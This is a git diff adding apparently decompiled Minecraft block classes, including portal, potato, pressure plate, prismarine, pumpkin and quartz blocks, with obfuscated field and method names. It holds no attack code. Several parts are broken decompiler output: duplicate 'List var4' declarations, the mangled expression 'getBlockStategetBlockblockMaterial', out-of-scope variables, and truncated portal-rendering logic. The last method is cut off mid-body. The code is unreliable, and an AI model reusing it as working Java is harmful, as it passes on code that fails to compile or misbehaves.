+    if (var3 == EnumFacing.Axis.Z)
+    {
+      var5 = 0.5F;
+    }
+    
+    setBlockBounds(0.5F - var4, 0.0F, 0.5F - var5, 0.5F + var4, 1.0F, 0.5F + var5);
+  }
+  
+  public static int func_176549_a(EnumFacing.Axis p_176549_0_)
+  {
+    return p_176549_0_ == EnumFacing.Axis.Z ? 2 : p_176549_0_ == EnumFacing.Axis.X ? 1 : 0;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean func_176548_d(World worldIn, BlockPos p_176548_2_)
+  {
+    Size var3 = new Size(worldIn, p_176548_2_, EnumFacing.Axis.X);
+    
+    if ((var3.func_150860_b()) && (field_150864_e == 0))
+    {
+      var3.func_150859_c();
+      return true;
+    }
+    
+
+    Size var4 = new Size(worldIn, p_176548_2_, EnumFacing.Axis.Z);
+    
+    if ((var4.func_150860_b()) && (field_150864_e == 0))
+    {
+      var4.func_150859_c();
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    EnumFacing.Axis var5 = (EnumFacing.Axis)state.getValue(field_176550_a);
+    
+
+    if (var5 == EnumFacing.Axis.X)
+    {
+      Size var6 = new Size(worldIn, pos, EnumFacing.Axis.X);
+      
+      if ((!var6.func_150860_b()) || (field_150864_e < field_150868_h * field_150862_g))
+      {
+        worldIn.setBlockState(pos, Blocks.air.getDefaultState());
+      }
+    }
+    else if (var5 == EnumFacing.Axis.Z)
+    {
+      Size var6 = new Size(worldIn, pos, EnumFacing.Axis.Z);
+      
+      if ((!var6.func_150860_b()) || (field_150864_e < field_150868_h * field_150862_g))
+      {
+        worldIn.setBlockState(pos, Blocks.air.getDefaultState());
+      }
+    }
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    EnumFacing.Axis var4 = null;
+    IBlockState var5 = worldIn.getBlockState(pos);
+    
+    if (worldIn.getBlockState(pos).getBlock() == this)
+    {
+      var4 = (EnumFacing.Axis)var5.getValue(field_176550_a);
+      
+      if (var4 == null)
+      {
+        return false;
+      }
+      
+      if ((var4 == EnumFacing.Axis.Z) && (side != EnumFacing.EAST) && (side != EnumFacing.WEST))
+      {
+        return false;
+      }
+      
+      if ((var4 == EnumFacing.Axis.X) && (side != EnumFacing.SOUTH) && (side != EnumFacing.NORTH))
+      {
+        return false;
+      }
+    }
+    
+    boolean var6 = (worldIn.getBlockState(pos.offsetWest()).getBlock() == this) && (worldIn.getBlockState(pos.offsetWest(2)).getBlock() != this);
+    boolean var7 = (worldIn.getBlockState(pos.offsetEast()).getBlock() == this) && (worldIn.getBlockState(pos.offsetEast(2)).getBlock() != this);
+    boolean var8 = (worldIn.getBlockState(pos.offsetNorth()).getBlock() == this) && (worldIn.getBlockState(pos.offsetNorth(2)).getBlock() != this);
+    boolean var9 = (worldIn.getBlockState(pos.offsetSouth()).getBlock() == this) && (worldIn.getBlockState(pos.offsetSouth(2)).getBlock() != this);
+    boolean var10 = (var6) || (var7) || (var4 == EnumFacing.Axis.X);
+    boolean var11 = (var8) || (var9) || (var4 == EnumFacing.Axis.Z);
+    return (var10) && (side == EnumFacing.WEST);
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.TRANSLUCENT;
+  }
+  
+
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, IBlockState state, Entity entityIn)
+  {
+    if ((ridingEntity == null) && (riddenByEntity == null))
+    {
+      entityIn.setInPortal();
+    }
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (rand.nextInt(100) == 0)
+    {
+      worldIn.playSound(pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D, "portal.portal", 0.5F, rand.nextFloat() * 0.4F + 0.8F, false);
+    }
+    
+    for (int var5 = 0; var5 < 4; var5++)
+    {
+      double var6 = pos.getX() + rand.nextFloat();
+      double var8 = pos.getY() + rand.nextFloat();
+      double var10 = pos.getZ() + rand.nextFloat();
+      double var12 = (rand.nextFloat() - 0.5D) * 0.5D;
+      double var14 = (rand.nextFloat() - 0.5D) * 0.5D;
+      double var16 = (rand.nextFloat() - 0.5D) * 0.5D;
+      int var18 = rand.nextInt(2) * 2 - 1;
+      
+      if ((worldIn.getBlockState(pos.offsetWest()).getBlock() != this) && (worldIn.getBlockState(pos.offsetEast()).getBlock() != this))
+      {
+        var6 = pos.getX() + 0.5D + 0.25D * var18;
+        var12 = rand.nextFloat() * 2.0F * var18;
+      }
+      else
+      {
+        var10 = pos.getZ() + 0.5D + 0.25D * var18;
+        var16 = rand.nextFloat() * 2.0F * var18;
+      }
+      
+      worldIn.spawnParticle(EnumParticleTypes.PORTAL, var6, var8, var10, var12, var14, var16, new int[0]);
+    }
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return null;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176550_a, (meta & 0x3) == 2 ? EnumFacing.Axis.Z : EnumFacing.Axis.X);
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return func_176549_a((EnumFacing.Axis)state.getValue(field_176550_a));
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { field_176550_a });
+  }
+  
+  public static class Size
+  {
+    private final World field_150867_a;
+    private final EnumFacing.Axis field_150865_b;
+    private final EnumFacing field_150866_c;
+    private final EnumFacing field_150863_d;
+    private int field_150864_e = 0;
+    private BlockPos field_150861_f;
+    private int field_150862_g;
+    private int field_150868_h;
+    private static final String __OBFID = "CL_00000285";
+    
+    public Size(World worldIn, BlockPos p_i45694_2_, EnumFacing.Axis p_i45694_3_)
+    {
+      field_150867_a = worldIn;
+      field_150865_b = p_i45694_3_;
+      
+      if (p_i45694_3_ == EnumFacing.Axis.X)
+      {
+        field_150863_d = EnumFacing.EAST;
+        field_150866_c = EnumFacing.WEST;
+      }
+      else
+      {
+        field_150863_d = EnumFacing.NORTH;
+        field_150866_c = EnumFacing.SOUTH;
+      }
+      
+      for (BlockPos var4 = p_i45694_2_; (p_i45694_2_.getY() > var4.getY() - 21) && (p_i45694_2_.getY() > 0) && (func_150857_a(worldIn.getBlockState(p_i45694_2_.offsetDown()).getBlock())); p_i45694_2_ = p_i45694_2_.offsetDown()) {}
+      
+
+
+
+      int var5 = func_180120_a(p_i45694_2_, field_150863_d) - 1;
+      
+      if (var5 >= 0)
+      {
+        field_150861_f = p_i45694_2_.offset(field_150863_d, var5);
+        field_150868_h = func_180120_a(field_150861_f, field_150866_c);
+        
+        if ((field_150868_h < 2) || (field_150868_h > 21))
+        {
+          field_150861_f = null;
+          field_150868_h = 0;
+        }
+      }
+      
+      if (field_150861_f != null)
+      {
+        field_150862_g = func_150858_a();
+      }
+    }
+    
+
+
+    protected int func_180120_a(BlockPos p_180120_1_, EnumFacing p_180120_2_)
+    {
+      for (int var3 = 0; var3 < 22; var3++)
+      {
+        BlockPos var4 = p_180120_1_.offset(p_180120_2_, var3);
+        
+        if ((!func_150857_a(field_150867_a.getBlockState(var4).getBlock())) || (field_150867_a.getBlockState(var4.offsetDown()).getBlock() != Blocks.obsidian)) {
+          break;
+        }
+      }
+      
+
+      Block var5 = field_150867_a.getBlockState(p_180120_1_.offset(p_180120_2_, var3)).getBlock();
+      return var5 == Blocks.obsidian ? var3 : 0;
+    }
+    
+
+
+
+    protected int func_150858_a()
+    {
+      for (field_150862_g = 0; field_150862_g < 21; field_150862_g += 1)
+      {
+        for (int var1 = 0; var1 < field_150868_h; var1++)
+        {
+          BlockPos var2 = field_150861_f.offset(field_150866_c, var1).offsetUp(field_150862_g);
+          Block var3 = field_150867_a.getBlockState(var2).getBlock();
+          
+          if (!func_150857_a(var3)) {
+            break;
+          }
+          
+
+          if (var3 == Blocks.portal)
+          {
+            field_150864_e += 1;
+          }
+          
+          if (var1 == 0)
+          {
+            var3 = field_150867_a.getBlockState(var2.offset(field_150863_d)).getBlock();
+            
+            if (var3 != Blocks.obsidian) {
+              break;
+            }
+            
+          }
+          else if (var1 == field_150868_h - 1)
+          {
+            var3 = field_150867_a.getBlockState(var2.offset(field_150866_c)).getBlock();
+            
+            if (var3 != Blocks.obsidian) {
+              break;
+            }
+          }
+        }
+      }
+      
+
+      for (int var1 = 0; var1 < field_150868_h; var1++)
+      {
+        if (field_150867_a.getBlockState(field_150861_f.offset(field_150866_c, var1).offsetUp(field_150862_g)).getBlock() != Blocks.obsidian)
+        {
+          field_150862_g = 0;
+          break;
+        }
+      }
+      
+      if ((field_150862_g <= 21) && (field_150862_g >= 3))
+      {
+        return field_150862_g;
+      }
+      
+
+      field_150861_f = null;
+      field_150868_h = 0;
+      field_150862_g = 0;
+      return 0;
+    }
+    
+
+    protected boolean func_150857_a(Block p_150857_1_)
+    {
+      return (blockMaterial == Material.air) || (p_150857_1_ == Blocks.fire) || (p_150857_1_ == Blocks.portal);
+    }
+    
+    public boolean func_150860_b()
+    {
+      return (field_150861_f != null) && (field_150868_h >= 2) && (field_150868_h <= 21) && (field_150862_g >= 3) && (field_150862_g <= 21);
+    }
+    
+    public void func_150859_c()
+    {
+      for (int var1 = 0; var1 < field_150868_h; var1++)
+      {
+        BlockPos var2 = field_150861_f.offset(field_150866_c, var1);
+        
+        for (int var3 = 0; var3 < field_150862_g; var3++)
+        {
+          field_150867_a.setBlockState(var2.offsetUp(var3), Blocks.portal.getDefaultState().withProperty(BlockPortal.field_176550_a, field_150865_b), 2);
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockPotato.java b/src/minecraft/net/minecraft/block/BlockPotato.java
new file mode 100644
index 0000000..599748c
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockPotato.java
@@ -0,0 +1,42 @@
+package net.minecraft.block;
+
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Items;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockPotato extends BlockCrops
+{
+  private static final String __OBFID = "CL_00000286";
+  
+  public BlockPotato() {}
+  
+  protected net.minecraft.item.Item getSeed()
+  {
+    return Items.potato;
+  }
+  
+  protected net.minecraft.item.Item getCrop()
+  {
+    return Items.potato;
+  }
+  
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    super.dropBlockAsItemWithChance(worldIn, pos, state, chance, fortune);
+    
+    if (!isRemote)
+    {
+      if ((((Integer)state.getValue(AGE)).intValue() >= 7) && (rand.nextInt(50) == 0))
+      {
+        spawnAsEntity(worldIn, pos, new net.minecraft.item.ItemStack(Items.poisonous_potato));
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockPressurePlate.java b/src/minecraft/net/minecraft/block/BlockPressurePlate.java
new file mode 100644
index 0000000..53e8bdb
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockPressurePlate.java
@@ -0,0 +1,133 @@
+package net.minecraft.block;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockPressurePlate extends BlockBasePressurePlate
+{
+  public static final PropertyBool POWERED = PropertyBool.create("powered");
+  private final Sensitivity sensitivity;
+  private static final String __OBFID = "CL_00000289";
+  
+  protected BlockPressurePlate(Material p_i45693_1_, Sensitivity p_i45693_2_)
+  {
+    super(p_i45693_1_);
+    setDefaultState(blockState.getBaseState().withProperty(POWERED, Boolean.valueOf(false)));
+    sensitivity = p_i45693_2_;
+  }
+  
+  protected int getRedstoneStrength(IBlockState p_176576_1_)
+  {
+    return ((Boolean)p_176576_1_.getValue(POWERED)).booleanValue() ? 15 : 0;
+  }
+  
+  protected IBlockState setRedstoneStrength(IBlockState p_176575_1_, int p_176575_2_)
+  {
+    return p_176575_1_.withProperty(POWERED, Boolean.valueOf(p_176575_2_ > 0));
+  }
+  
+  protected int computeRedstoneStrength(World worldIn, BlockPos pos)
+  {
+    AxisAlignedBB var3 = getSensitiveAABB(pos);
+    List var4;
+    List var4;
+    switch (SwitchSensitivity.SENSITIVITY_ARRAY[sensitivity.ordinal()])
+    {
+    case 1: 
+      var4 = worldIn.getEntitiesWithinAABBExcludingEntity(null, var3);
+      break;
+    
+    case 2: 
+      var4 = worldIn.getEntitiesWithinAABB(EntityLivingBase.class, var3);
+      break;
+    
+    default: 
+      return 0;
+    }
+    List var4;
+    if (!var4.isEmpty())
+    {
+      Iterator var5 = var4.iterator();
+      
+      while (var5.hasNext())
+      {
+        Entity var6 = (Entity)var5.next();
+        
+        if (!var6.doesEntityNotTriggerPressurePlate())
+        {
+          return 15;
+        }
+      }
+    }
+    
+    return 0;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(POWERED, Boolean.valueOf(meta == 1));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Boolean)state.getValue(POWERED)).booleanValue() ? 1 : 0;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { POWERED });
+  }
+  
+  public static enum Sensitivity
+  {
+    EVERYTHING("EVERYTHING", 0), 
+    MOBS("MOBS", 1);
+    
+    private static final Sensitivity[] $VALUES = { EVERYTHING, MOBS };
+    private static final String __OBFID = "CL_00000290";
+    
+    private Sensitivity(String p_i45417_1_, int p_i45417_2_) {}
+  }
+  
+  static final class SwitchSensitivity
+  {
+    static final int[] SENSITIVITY_ARRAY = new int[BlockPressurePlate.Sensitivity.values().length];
+    private static final String __OBFID = "CL_00002078";
+    
+    static
+    {
+      try
+      {
+        SENSITIVITY_ARRAY[BlockPressurePlate.Sensitivity.EVERYTHING.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        SENSITIVITY_ARRAY[BlockPressurePlate.Sensitivity.MOBS.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+    }
+    
+    SwitchSensitivity() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockPressurePlateWeighted.java b/src/minecraft/net/minecraft/block/BlockPressurePlateWeighted.java
new file mode 100644
index 0000000..39b7dfc
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockPressurePlateWeighted.java
@@ -0,0 +1,79 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class BlockPressurePlateWeighted extends BlockBasePressurePlate
+{
+  public static final PropertyInteger POWER = PropertyInteger.create("power", 0, 15);
+  private final int field_150068_a;
+  private static final String __OBFID = "CL_00000334";
+  
+  protected BlockPressurePlateWeighted(String p_i45436_1_, Material p_i45436_2_, int p_i45436_3_)
+  {
+    super(p_i45436_2_);
+    setDefaultState(blockState.getBaseState().withProperty(POWER, Integer.valueOf(0)));
+    field_150068_a = p_i45436_3_;
+  }
+  
+  protected int computeRedstoneStrength(World worldIn, BlockPos pos)
+  {
+    int var3 = Math.min(worldIn.getEntitiesWithinAABB(Entity.class, getSensitiveAABB(pos)).size(), field_150068_a);
+    
+    if (var3 > 0)
+    {
+      float var4 = Math.min(field_150068_a, var3) / field_150068_a;
+      return MathHelper.ceiling_float_int(var4 * 15.0F);
+    }
+    
+
+    return 0;
+  }
+  
+
+  protected int getRedstoneStrength(IBlockState p_176576_1_)
+  {
+    return ((Integer)p_176576_1_.getValue(POWER)).intValue();
+  }
+  
+  protected IBlockState setRedstoneStrength(IBlockState p_176575_1_, int p_176575_2_)
+  {
+    return p_176575_1_.withProperty(POWER, Integer.valueOf(p_176575_2_));
+  }
+  
+
+
+
+  public int tickRate(World worldIn)
+  {
+    return 10;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(POWER, Integer.valueOf(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(POWER)).intValue();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { POWER });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockPrismarine.java b/src/minecraft/net/minecraft/block/BlockPrismarine.java
new file mode 100644
index 0000000..be3e553
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockPrismarine.java
@@ -0,0 +1,176 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.IStringSerializable;
+
+public class BlockPrismarine extends Block
+{
+  public static final PropertyEnum VARIANTS = PropertyEnum.create("variant", EnumType.class);
+  public static final int ROUGHMETA = EnumType.ROUGH.getMetadata();
+  public static final int BRICKSMETA = EnumType.BRICKS.getMetadata();
+  public static final int DARKMETA = EnumType.DARK.getMetadata();
+  private static final String __OBFID = "CL_00002077";
+  
+  public BlockPrismarine()
+  {
+    super(Material.rock);
+    setDefaultState(blockState.getBaseState().withProperty(VARIANTS, EnumType.ROUGH));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumType)state.getValue(VARIANTS)).getMetadata();
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumType)state.getValue(VARIANTS)).getMetadata();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { VARIANTS });
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(VARIANTS, EnumType.func_176810_a(meta));
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    list.add(new ItemStack(itemIn, 1, ROUGHMETA));
+    list.add(new ItemStack(itemIn, 1, BRICKSMETA));
+    list.add(new ItemStack(itemIn, 1, DARKMETA));
+  }
+  
+  public static enum EnumType implements IStringSerializable
+  {
+    ROUGH("ROUGH", 0, 0, "prismarine", "rough"), 
+    BRICKS("BRICKS", 1, 1, "prismarine_bricks", "bricks"), 
+    DARK("DARK", 2, 2, "dark_prismarine", "dark");
+    
+    private static final EnumType[] field_176813_d;
+    private final int meta;
+    private final String field_176811_f;
+    private final String field_176812_g;
+    private static final EnumType[] $VALUES;
+    private static final String __OBFID = "CL_00002076";
+    
+    private EnumType(String p_i45692_1_, int p_i45692_2_, int p_i45692_3_, String p_i45692_4_, String p_i45692_5_)
+    {
+      meta = p_i45692_3_;
+      field_176811_f = p_i45692_4_;
+      field_176812_g = p_i45692_5_;
+    }
+    
+    public int getMetadata()
+    {
+      return meta;
+    }
+    
+    public String toString()
+    {
+      return field_176811_f;
+    }
+    
+    public static EnumType func_176810_a(int p_176810_0_)
+    {
+      if ((p_176810_0_ < 0) || (p_176810_0_ >= field_176813_d.length))
+      {
+        p_176810_0_ = 0;
+      }
+      
+      return field_176813_d[p_176810_0_];
+    }
+    
+    public String getName()
+    {
+      return field_176811_f;
+    }
+    
+    public String func_176809_c()
+    {
+      return field_176812_g;
+    }
+    
+    static
+    {
+      field_176813_d = new EnumType[values().length];
+      
+
+
+
+      $VALUES = new EnumType[] { ROUGH, BRICKS, DARK };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumType var3 = var0[var2];
+        field_176813_d[var3.getMetadata()] = var3;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockPumpkin.java b/src/minecraft/net/minecraft/block/BlockPumpkin.java
new file mode 100644
index 0000000..4bd8106
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockPumpkin.java
@@ -0,0 +1,180 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.BlockWorldState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.block.state.pattern.BlockPattern;
+import net.minecraft.block.state.pattern.BlockPattern.PatternHelper;
+import net.minecraft.block.state.pattern.BlockStateHelper;
+import net.minecraft.block.state.pattern.FactoryBlockPattern;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityIronGolem;
+import net.minecraft.entity.monster.EntitySnowman;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.World;
+
+public class BlockPumpkin extends BlockDirectional
+{
+  private BlockPattern field_176394_a;
+  private BlockPattern field_176393_b;
+  private BlockPattern field_176395_M;
+  private BlockPattern field_176396_O;
+  private static final String __OBFID = "CL_00000291";
+  
+  protected BlockPumpkin()
+  {
+    super(Material.gourd);
+    setDefaultState(blockState.getBaseState().withProperty(AGE, EnumFacing.NORTH));
+    setTickRandomly(true);
+    setCreativeTab(net.minecraft.creativetab.CreativeTabs.tabBlock);
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    super.onBlockAdded(worldIn, pos, state);
+    createGolem(worldIn, pos);
+  }
+  
+  public boolean func_176390_d(World worldIn, BlockPos p_176390_2_)
+  {
+    return (func_176392_j().func_177681_a(worldIn, p_176390_2_) != null) || (func_176389_S().func_177681_a(worldIn, p_176390_2_) != null);
+  }
+  
+
+
+  private void createGolem(World worldIn, BlockPos p_180673_2_)
+  {
+    BlockPattern.PatternHelper var3;
+    
+    if ((var3 = func_176391_l().func_177681_a(worldIn, p_180673_2_)) != null)
+    {
+      for (int var4 = 0; var4 < func_176391_l().func_177685_b(); var4++)
+      {
+        BlockWorldState var5 = var3.func_177670_a(0, var4, 0);
+        worldIn.setBlockState(var5.getPos(), Blocks.air.getDefaultState(), 2);
+      }
+      
+      EntitySnowman var9 = new EntitySnowman(worldIn);
+      BlockPos var11 = var3.func_177670_a(0, 2, 0).getPos();
+      var9.setLocationAndAngles(var11.getX() + 0.5D, var11.getY() + 0.05D, var11.getZ() + 0.5D, 0.0F, 0.0F);
+      worldIn.spawnEntityInWorld(var9);
+      
+      for (int var6 = 0; var6 < 120; var6++)
+      {
+        worldIn.spawnParticle(EnumParticleTypes.SNOW_SHOVEL, var11.getX() + rand.nextDouble(), var11.getY() + rand.nextDouble() * 2.5D, var11.getZ() + rand.nextDouble(), 0.0D, 0.0D, 0.0D, new int[0]);
+      }
+      
+      for (var6 = 0; var6 < func_176391_l().func_177685_b(); var6++)
+      {
+        BlockWorldState var7 = var3.func_177670_a(0, var6, 0);
+        worldIn.func_175722_b(var7.getPos(), Blocks.air);
+      }
+    }
+    else if ((var3 = func_176388_T().func_177681_a(worldIn, p_180673_2_)) != null)
+    {
+      for (int var4 = 0; var4 < func_176388_T().func_177684_c(); var4++)
+      {
+        for (int var12 = 0; var12 < func_176388_T().func_177685_b(); var12++)
+        {
+          worldIn.setBlockState(var3.func_177670_a(var4, var12, 0).getPos(), Blocks.air.getDefaultState(), 2);
+        }
+      }
+      
+      BlockPos var10 = var3.func_177670_a(1, 2, 0).getPos();
+      EntityIronGolem var13 = new EntityIronGolem(worldIn);
+      var13.setPlayerCreated(true);
+      var13.setLocationAndAngles(var10.getX() + 0.5D, var10.getY() + 0.05D, var10.getZ() + 0.5D, 0.0F, 0.0F);
+      worldIn.spawnEntityInWorld(var13);
+      
+      for (int var6 = 0; var6 < 120; var6++)
+      {
+        worldIn.spawnParticle(EnumParticleTypes.SNOWBALL, var10.getX() + rand.nextDouble(), var10.getY() + rand.nextDouble() * 3.9D, var10.getZ() + rand.nextDouble(), 0.0D, 0.0D, 0.0D, new int[0]);
+      }
+      
+      for (var6 = 0; var6 < func_176388_T().func_177684_c(); var6++)
+      {
+        for (int var14 = 0; var14 < func_176388_T().func_177685_b(); var14++)
+        {
+          BlockWorldState var8 = var3.func_177670_a(var6, var14, 0);
+          worldIn.func_175722_b(var8.getPos(), Blocks.air);
+        }
+      }
+    }
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return (getBlockStategetBlockblockMaterial.isReplaceable()) && (World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown()));
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return getDefaultState().withProperty(AGE, placer.func_174811_aO().getOpposite());
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(AGE, EnumFacing.getHorizontal(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumFacing)state.getValue(AGE)).getHorizontalIndex();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { AGE });
+  }
+  
+  protected BlockPattern func_176392_j()
+  {
+    if (field_176394_a == null)
+    {
+      field_176394_a = FactoryBlockPattern.start().aisle(new String[] { " ", "#", "#" }).where('#', BlockWorldState.hasState(BlockStateHelper.forBlock(Blocks.snow))).build();
+    }
+    
+    return field_176394_a;
+  }
+  
+  protected BlockPattern func_176391_l()
+  {
+    if (field_176393_b == null)
+    {
+      field_176393_b = FactoryBlockPattern.start().aisle(new String[] { "^", "#", "#" }).where('^', BlockWorldState.hasState(BlockStateHelper.forBlock(Blocks.pumpkin))).where('#', BlockWorldState.hasState(BlockStateHelper.forBlock(Blocks.snow))).build();
+    }
+    
+    return field_176393_b;
+  }
+  
+  protected BlockPattern func_176389_S()
+  {
+    if (field_176395_M == null)
+    {
+      field_176395_M = FactoryBlockPattern.start().aisle(new String[] { "~ ~", "###", "~#~" }).where('#', BlockWorldState.hasState(BlockStateHelper.forBlock(Blocks.iron_block))).where('~', BlockWorldState.hasState(BlockStateHelper.forBlock(Blocks.air))).build();
+    }
+    
+    return field_176395_M;
+  }
+  
+  protected BlockPattern func_176388_T()
+  {
+    if (field_176396_O == null)
+    {
+      field_176396_O = FactoryBlockPattern.start().aisle(new String[] { "~^~", "###", "~#~" }).where('^', BlockWorldState.hasState(BlockStateHelper.forBlock(Blocks.pumpkin))).where('#', BlockWorldState.hasState(BlockStateHelper.forBlock(Blocks.iron_block))).where('~', BlockWorldState.hasState(BlockStateHelper.forBlock(Blocks.air))).build();
+    }
+    
+    return field_176396_O;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockQuartz.java b/src/minecraft/net/minecraft/block/BlockQuartz.java
new file mode 100644
index 0000000..e9ade78
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockQuartz.java
@@ -0,0 +1,243 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.World;
+
+public class BlockQuartz extends Block
+{
+  public static final PropertyEnum VARIANT_PROP = PropertyEnum.create("variant", EnumType.class);
+  private static final String __OBFID = "CL_00000292";
+  
+  public BlockQuartz()
+  {
+    super(net.minecraft.block.material.Material.rock);
+    setDefaultState(blockState.getBaseState().withProperty(VARIANT_PROP, EnumType.DEFAULT));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    if (meta == EnumType.LINES_Y.getMetaFromState())
+    {
+      switch (SwitchAxis.field_180101_a[facing.getAxis().ordinal()])
+      {
+      case 1: 
+        return getDefaultState().withProperty(VARIANT_PROP, EnumType.LINES_Z);
+      
+      case 2: 
+        return getDefaultState().withProperty(VARIANT_PROP, EnumType.LINES_X);
+      }
+      
+      
+      return getDefaultState().withProperty(VARIANT_PROP, EnumType.LINES_Y);
+    }
+    
+
+
+    return meta == EnumType.CHISELED.getMetaFromState() ? getDefaultState().withProperty(VARIANT_PROP, EnumType.CHISELED) : getDefaultState().withProperty(VARIANT_PROP, EnumType.DEFAULT);
+  }
+  
+
+
+
+
+  public int damageDropped(IBlockState state)
+  {
